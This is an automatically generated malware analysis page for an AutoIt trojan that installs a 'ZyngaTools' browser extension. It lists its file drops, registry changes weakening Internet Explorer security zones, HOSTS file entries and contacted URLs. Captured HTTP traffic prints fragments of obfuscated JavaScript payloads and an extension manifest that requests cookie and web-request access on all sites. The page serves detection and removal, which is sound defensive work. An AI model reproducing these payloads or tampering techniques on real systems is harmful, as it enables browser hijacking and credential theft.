Trojan.GenericKD.2441594_121dd25c1b

by malwarelabrobot on November 24th, 2015 in Malware Descriptions.

Trojan.GenericKD.2441594 (B) (Emsisoft), Trojan.GenericKD.2441594 (AdAware), Worm.Win32.AutoIt.FD, WormAutoItGen.YR (Lavasoft MAS)
Behaviour: Trojan, Worm


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 121dd25c1b88755c970cf68080bc935f
SHA1: 930b418d284a748b4d3ad6cd0f0c680e2117db0f
SHA256: fc516b28acc06cc87bb98a495e26cdafbf3d29a71981e05bfd328d921cd5d362
SSDeep: 12288:o37Ai11QCGOLpAn9nt1KzfiqPokE4Lj0lqoYucB/kCNLogG:o7AKLLa9vKTpLRLELYT/kCtoL
Size: 625393 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6
Company: Crawler.com, LLC
Created at: 2010-04-16 10:47:33
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

%original file name%.exe:1192

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1192 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\ZyngaTools\manifest.json (756 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\icon_128[1].png (21953 bytes)
C:\ZyngaTools\background.js (388 bytes)
C:\ZyngaTools\jquery-1.9.0.min.js (12076 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\icon[1].png (25 bytes)
%Documents and Settings%\%current user%\Desktop\ZyngaTools.lnk (571 bytes)
%System%\drivers\etc\hosts (777 bytes)
C:\ZyngaTools\document_idle.js (2500 bytes)
C:\ZyngaTools\icon.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gzip.exe (44 bytes)
C:\ZyngaTools\icon_128.png (6532 bytes)

The Trojan deletes the following file(s):

%System%\drivers\etc\hosts (0 bytes)

Registry activity

The process %original file name%.exe:1192 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows Script\Settings]
"JITDebug" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "21 DE D2 E0 17 A1 E3 20 5E 92 D5 F6 A9 77 66 35"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5 File path
7eb8d0a38abd4b1cfe433cef7b5b6ecb c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\gzip.exe

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses.
The modified file is 400 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1 turkbot.com
127.0.0.1 www.turkbot.com
127.0.0.1 reklambot2013.somee.com
127.0.0.1 somee.com
127.0.0.1 www.somee.com
127.0.0.1 zpokerbot.proboards.com
127.0.0.1 proboards.com
127.0.0.1 www.proboards.com
127.0.0.1 zyngatables.com
127.0.0.1 www.zyngatables.com
127.0.0.1 zyngetools.ddns.net
127.0.0.1 www.zpokerbot.proboards.com
127.0.0.1 www.zyncloud.com
127.0.0.1 zyncloud.com


Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
UPX0 4096 450560 0 0 d41d8cd98f00b204e9800998ecf8427e
UPX1 454656 270336 270336 5.49615 1607129b281cb0cb2e5384d46c3c2ce5
.rsrc 724992 8192 6656 3.19852 529a4593cd542271d262080034a33b32

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://www.zyngatools.com/poker/localhost/latest.php 208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/?random=431 208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/background.js?random=143 208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/document_idle.js?random=678 208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/icon.png?random=556 208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/icon_128.png?random=163 208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/jquery-1.9.0.min.js?random=695 208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/ZyngaTools/manifest.json?random=311 208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/announcement.txt 208.89.208.31
hxxp://www.zyngatools.com/poker/localhost/statusbar2.txt 208.89.208.31
hxxp://www.zyngatools.com/poker/server_status.php?v=v6.4 208.89.208.31


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile

Traffic

GET /poker/localhost/latest.php HTTP/1.1
User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:22 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Transfer-Encoding: chunked
Content-Type: text/html
4..v6.4..0......



GET /poker/localhost/ZyngaTools/?random=431 HTTP/1.1

User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:22 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Transfer-Encoding: chunked
Content-Type: text/html
78..background.js:12238.document_idle.js:24963.icon.png:1247.icon_128.
png:44672.jquery-1.9.0.min.js:93068.manifest.json:756...0..
....



GET /poker/localhost/ZyngaTools/background.js?random=143 HTTP/1.1

User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:22 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Transfer-Encoding: chunked
Content-Type: text/html
2fce..var _0x5524=["\x31\x32\x37\x2E\x30\x2E\x30\x2E\x31","\x43\x75\x7
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<<< skipped >>>

GET /poker/localhost/ZyngaTools/document_idle.js?random=678 HTTP/1.1

User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:22 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Transfer-Encoding: chunked
Content-Type: text/html
6183..var _0x5524=["\x43\x75\x73\x74\x6F\x6D\x65\x72","\x68\x74\x74\x7
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<<< skipped >>>

GET /poker/localhost/ZyngaTools/icon.png?random=556 HTTP/1.1

User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:23 GMT
Server: Apache/2
Last-Modified: Sat, 02 Nov 2013 04:14:43 GMT
ETag: "30d7220-4df-4ea29ec2132c0"
Accept-Ranges: bytes
Content-Length: 1247
Content-Type: image/png
.PNG........IHDR..............w=.....IDATx..UiH$W......Uc4..W.........
!*..A\..2..FM. ..1...(.G"[email protected].....^}U_...
.......ihhh|CCC....c.....VVV........B.n.>[email protected]".c ....g
.......p{{......KKK#.}.6....{...V.p..........HNNV;xuu%[^^.Q..&.d}}.|bb
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<tnkk........a'.r..J%..c....P[[.{{{`iiy.......9....wi....`hh...9...
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....{.QOQ_.._....M..lt4..&...TJN..Q.....U....*..........u.\.....IEND.B
`.
....



GET /poker/localhost/ZyngaTools/icon_128.png?random=163 HTTP/1.1

User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:23 GMT
Server: Apache/2
Last-Modified: Thu, 06 Jun 2013 07:06:43 GMT
ETag: "30d7224-ae80-4de76f4e506c0"
Accept-Ranges: bytes
Content-Length: 44672
Content-Type: image/png
.PNG........IHDR..............>a....GIDATx.....\..-.n....sVl..e!r."
.`c..m....a.F`.a..#.<......ccr0..[.D...e..n.cUW......so...3.......]
.U7....k...).......j.V.~.6.X6`h....:....j.S..2....\...uX:...9....`..-.
............k......|^)Yr%|....m.j.|..a.<|....:xr^..k...r/.}..V....&
gt;.............n...0.{..P.........i5^..O.....g.Z...rh....<.....t..
...^....a..1...i8._,.pw..M.*..v......ij.......6..,.Z,".L.Cc...x.w-....
.:>]...m...........9.`.E.....!7.C.A............;.._W..i.?0.2..2....
.wP.&.....c..N....?y....L.2...V. .,......y...... cS..{?....`.k.k....b.
b.....o..[....h.Q..f4R3....6.X>_...g.<6............h<j.......
..8.5....kL......(...M..>.QF`)....k5.....^...%....8..p9r~1 .'</v
.....eU.....VY..9.2h.?..yP...w..!..@...#[email protected]..|5..zM.C..
..x.......u.E.1d...T...6..O.m....[..vc. ..A........Ys..x...P.y.R.k....
w..{k...?.......a........8..y*....a..r...........\....8.!..l.d.Q.....K
<>-.n.......8.0.wN...N. ./......i.f......k...8.J...V.....N.\.F.p
.X.:.2...7..k.b..<u^.....1u}...:.U.4R....n,T.f{......>ey.2......
.....&.".2xd.50.|$.@c"..=..:vF?....wv..q..Z.....x.yV!?^ ....[..3NB....
t..7.p..t.J..T.......R.....[......V.GAM.9....d.....}N....a...L.....I..
.[.............?../.../..Oyg..0.zu5...L.....{|.....1.is.d.. ....P....
S..*.L!.{...A....MNh.(.x..;6.&ux.........5...........).....((hhO4.O9..
.-[......7{....9O.w..Q.H!.d..;w...5...X....g.h.&.W...^........65Aj..M.
...'o.Z........../B..[...r....E.5..o....../....l..x.._.`j...........n.
..?.&..K".....2.....R. X].k..f.....{.._e.m........{%....-....,.Y..

<<< skipped >>>

GET /poker/localhost/ZyngaTools/jquery-1.9.0.min.js?random=695 HTTP/1.1

User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:23 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Transfer-Encoding: chunked
Content-Type: text/html
16b8c../*! jQuery v1.9.0 | (c) 2005, 2012 jQuery Foundation, Inc. | jq
uery.org/license */(function(e,t){"use strict";function n(e){var t=e.l
ength,n=st.type(e);return st.isWindow(e)?!1:1===e.nodeType&&t?!0:"arra
y"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}
function r(e){var t=Tt[e]={};return st.each(e.match(lt)||[],function(e
,n){t[n]=!0}),t}function i(e,n,r,i){if(st.acceptData(e)){var o,a,s=st.
expando,u="string"==typeof n,l=e.nodeType,c=l?st.cache:e,f=l?e[s]:e[s]
&&s;if(f&&c[f]&&(i||c[f].data)||!u||r!==t)return f||(l?e[s]=f=K.pop()|
|st.guid :f=s),c[f]||(c[f]={},l||(c[f].toJSON=st.noop)),("object"==ty
peof n||"function"==typeof n)&&(i?c[f]=st.extend(c[f],n):c[f].data=st.
extend(c[f].data,n)),o=c[f],i||(o.data||(o.data={}),o=o.data),r!==t&&(
o[st.camelCase(n)]=r),u?(a=o[n],null==a&&(a=o[st.camelCase(n)])):a=o,a
}}function o(e,t,n){if(st.acceptData(e)){var r,i,o,a=e.nodeType,u=a?st
.cache:e,l=a?e[st.expando]:st.expando;if(u[l]){if(t&&(r=n?u[l]:u[l].da
ta)){st.isArray(t)?t=t.concat(st.map(t,st.camelCase)):t in r?t=[t]:(t=
st.camelCase(t),t=t in r?[t]:t.split(" "));for(i=0,o=t.length;o>i;i
)delete r[t[i]];if(!(n?s:st.isEmptyObject)(r))return}(n||(delete u[l
].data,s(u[l])))&&(a?st.cleanData([e],!0):st.support.deleteExpando||u!
=u.window?delete u[l]:u[l]=null)}}}function a(e,n,r){if(r===t&&1===e.n
odeType){var i="data-" n.replace(Nt,"-$1").toLowerCase();if(r=e.getAtt
ribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null
"===r?null: r ""===r? r:wt.test(r)?st.parseJSON(r):r}catch(o){}st.

<<< skipped >>>

GET /poker/localhost/ZyngaTools/manifest.json?random=311 HTTP/1.1

User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:24 GMT
Server: Apache/2
Last-Modified: Tue, 05 May 2015 01:31:30 GMT
ETag: "30d7238-2f4-5154ba34cc080"
Accept-Ranges: bytes
Content-Length: 756
Vary: Accept-Encoding,User-Agent
Content-Type: application/json
{.  "name": "ZyngaTools Extension",.  "version": "6.3",.  "manifest_ve
rsion": 2,. "description": "Customer Service/ Support Skype: ZyngaToo
ls / ZyngaShop",. "web_accessible_resources":["*.*"],. "background":
{ "scripts": ["jquery-1.9.0.min.js" ,"background.js"] },. "icons": {
. "128": "icon_128.png". },. "permissions": ["hXXp://*/*", "https:
//*/*", "cookies", "tabs",......"webRequest", "webRequestBlocking",.
"tabs", "contextMenus",. "notific
ations", "storage"],. "content_scripts": [. {. "matches": ["h
ttp://*/*" ,"hXXps://*/*"],.. "js": ["jquery-1.9.0.min.js" ,"document
_idle.js"],.. "run_at": "document_end",.. "all_frames": true,.. "in
clude_globs": ["hXXp://*/*" ,"hXXps://*/*"]. }. ].}.
....



GET /poker/localhost/announcement.txt HTTP/1.1

User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:24 GMT
Server: Apache/2
Last-Modified: Fri, 13 Mar 2015 01:25:53 GMT
ETag: "30d71df-210-51121619faa40"
Accept-Ranges: bytes
Content-Length: 528
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
X-Pad: avoid browser bug
Dear ZyngaTools User..------------------------------------------------
--------------..To prevent account hacked, please do not download exte
nsion from..ZyngaToolsFree.com ,Zynge tables or zbot etc.....Any impro
vement and new update/featues will be added for Paid user!..Next updat
e/featues(upcoming)..-------------------------------------------------
-------------..Join Room instantly (No more random join room)..Loaded
Poker without any error and lag..Zero downtime and comfortable gaming.
.Auto Transfer..Auto Advertising..
....



GET /poker/localhost/statusbar2.txt HTTP/1.1

User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:25 GMT
Server: Apache/2
Last-Modified: Fri, 13 Mar 2015 01:26:33 GMT
ETag: "30d7203-1d-5112164020440"
Accept-Ranges: bytes
Content-Length: 29
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
Skype: ZyngaTools / ZyngaShop....



GET /poker/server_status.php?v=v6.4 HTTP/1.1

User-Agent: AutoIt
Host: VVV.zyngatools.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Mon, 23 Nov 2015 10:04:25 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 0
Content-Type: text/html


The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_1192:

`.rsrc
s%j.Zf
tGHt.Ht&
tCPh
SSSSh
\$%u#Sj
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
This is a compiled AutoIt script. AV researchers please email [email protected] for support.
uxtheme.dll
kernel32.dll
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
erroffset passed as NULL
POSIX collating elements are not supported
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \U, or \u
support for \P, \p, and \X has not been compiled
(*VERB) with an argument is not supported
ICMP.DLL
advapi32.dll
RegDeleteKeyExW
zcÁ
GetProcessHeap
CreatePipe
GetWindowsDirectoryW
GetCPInfo
GetConsoleOutputCP
RegDeleteKeyW
RegCreateKeyExW
RegEnumKeyExW
RegCloseKey
RegOpenKeyExW
SetViewportOrgEx
ShellExecuteExW
SHFileOperationW
ShellExecuteW
RegisterHotKey
GetKeyboardLayoutNameW
ExitWindowsEx
EnumThreadWindows
GetAsyncKeyState
SetKeyboardState
GetKeyboardState
GetKeyState
VkKeyScanW
EnumWindows
EnumChildWindows
MapVirtualKeyW
CloseWindowStation
SetProcessWindowStation
OpenWindowStationW
UnregisterHotKey
keybd_event
InternetCrackUrlW
HttpQueryInfoW
HttpOpenRequestW
HttpSendRequestW
FtpOpenFileW
FtpGetFileSize
InternetOpenUrlW
.text
`.rdata
@.data
.rsrc
y).JZn
].bod:o
[Sub%CR
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"/>
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
KERNEL32.DLL
ADVAPI32.dll
COMCTL32.dll
COMDLG32.dll
GDI32.dll
MPR.dll
ole32.dll
OLEAUT32.dll
PSAPI.DLL
SHELL32.dll
USER32.dll
USERENV.dll
VERSION.dll
WININET.dll
WINMM.dll
WSOCK32.dll
mscoree.dll
>>>AUTOIT NO CMDEXECUTE<<<
CMDLINERAW
CMDLINE
/AutoIt3ExecuteLine
/AutoIt3ExecuteScript
%s (%d) : ==> %s.:
Line %d:
Line %d (File "%s"):
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
All files (*.*)
#NoAutoIt3Execute
APPSKEY
04090000
%u.%u.%u.%u
0.0.0.0
Mddddd
%s (%d) : ==> %s:
UDPSTARTUP
UDPSHUTDOWN
UDPSEND
UDPRECV
UDPOPEN
UDPCLOSESOCKET
UDPBIND
TRAYGETMSG
TCPSTARTUP
TCPSHUTDOWN
TCPSEND
TCPRECV
TCPNAMETOIP
TCPLISTEN
TCPCONNECT
TCPCLOSESOCKET
TCPACCEPT
SHELLEXECUTEWAIT
SHELLEXECUTE
REGENUMKEY
MSGBOX
ISKEYWORD
HTTPSETUSERAGENT
HTTPSETPROXY
HOTKEYSET
GUIREGISTERMSG
GUIGETMSG
GUICTRLSENDMSG
GUICTRLRECVMSG
FTPSETPROXY
\??\%s
GUI_RUNDEFMSG
SendKeyDelay
SendKeyDownDelay
TCPTimeout
AUTOITCALLVARIABLE%d
255.255.255.255
Keyword
AutoIt.Error
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
HOTKEYPRESSED
AUTOITEXE
WINDOWSDIR
3, 3, 6, 1
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_USERS
%d/d/d
c:\%original file name%.exe
:C:\%original file name%.exe

%original file name%.exe_1192_rwx_00401000_000AF000:

s%j.Zf
tGHt.Ht&
tCPh
SSSSh
\$%u#Sj
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
This is a compiled AutoIt script. AV researchers please email [email protected] for support.
uxtheme.dll
kernel32.dll
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
erroffset passed as NULL
POSIX collating elements are not supported
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \U, or \u
support for \P, \p, and \X has not been compiled
(*VERB) with an argument is not supported
ICMP.DLL
advapi32.dll
RegDeleteKeyExW
zcÁ
GetProcessHeap
CreatePipe
GetWindowsDirectoryW
GetCPInfo
GetConsoleOutputCP
RegDeleteKeyW
RegCreateKeyExW
RegEnumKeyExW
RegCloseKey
RegOpenKeyExW
SetViewportOrgEx
ShellExecuteExW
SHFileOperationW
ShellExecuteW
RegisterHotKey
GetKeyboardLayoutNameW
ExitWindowsEx
EnumThreadWindows
GetAsyncKeyState
SetKeyboardState
GetKeyboardState
GetKeyState
VkKeyScanW
EnumWindows
EnumChildWindows
MapVirtualKeyW
CloseWindowStation
SetProcessWindowStation
OpenWindowStationW
UnregisterHotKey
keybd_event
InternetCrackUrlW
HttpQueryInfoW
HttpOpenRequestW
HttpSendRequestW
FtpOpenFileW
FtpGetFileSize
InternetOpenUrlW
.text
`.rdata
@.data
.rsrc
y).JZn
mscoree.dll
KERNEL32.DLL
>>>AUTOIT NO CMDEXECUTE<<<
CMDLINERAW
CMDLINE
/AutoIt3ExecuteLine
/AutoIt3ExecuteScript
%s (%d) : ==> %s.:
Line %d:
Line %d (File "%s"):
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
All files (*.*)
#NoAutoIt3Execute
APPSKEY
04090000
%u.%u.%u.%u
0.0.0.0
Mddddd
%s (%d) : ==> %s:
UDPSTARTUP
UDPSHUTDOWN
UDPSEND
UDPRECV
UDPOPEN
UDPCLOSESOCKET
UDPBIND
TRAYGETMSG
TCPSTARTUP
TCPSHUTDOWN
TCPSEND
TCPRECV
TCPNAMETOIP
TCPLISTEN
TCPCONNECT
TCPCLOSESOCKET
TCPACCEPT
SHELLEXECUTEWAIT
SHELLEXECUTE
REGENUMKEY
MSGBOX
ISKEYWORD
HTTPSETUSERAGENT
HTTPSETPROXY
HOTKEYSET
GUIREGISTERMSG
GUIGETMSG
GUICTRLSENDMSG
GUICTRLRECVMSG
FTPSETPROXY
\??\%s
GUI_RUNDEFMSG
SendKeyDelay
SendKeyDownDelay
TCPTimeout
AUTOITCALLVARIABLE%d
255.255.255.255
Keyword
AutoIt.Error
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
HOTKEYPRESSED
AUTOITEXE
WINDOWSDIR
3, 3, 6, 1
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_USERS
%d/d/d
c:\%original file name%.exe
:C:\%original file name%.exe


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\ZyngaTools\manifest.json (756 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\icon_128[1].png (21953 bytes)
    C:\ZyngaTools\background.js (388 bytes)
    C:\ZyngaTools\jquery-1.9.0.min.js (12076 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\icon[1].png (25 bytes)
    %Documents and Settings%\%current user%\Desktop\ZyngaTools.lnk (571 bytes)
    %System%\drivers\etc\hosts (777 bytes)
    C:\ZyngaTools\document_idle.js (2500 bytes)
    C:\ZyngaTools\icon.png (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\gzip.exe (44 bytes)
    C:\ZyngaTools\icon_128.png (6532 bytes)

  4. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts):
    127.0.0.1 localhost
  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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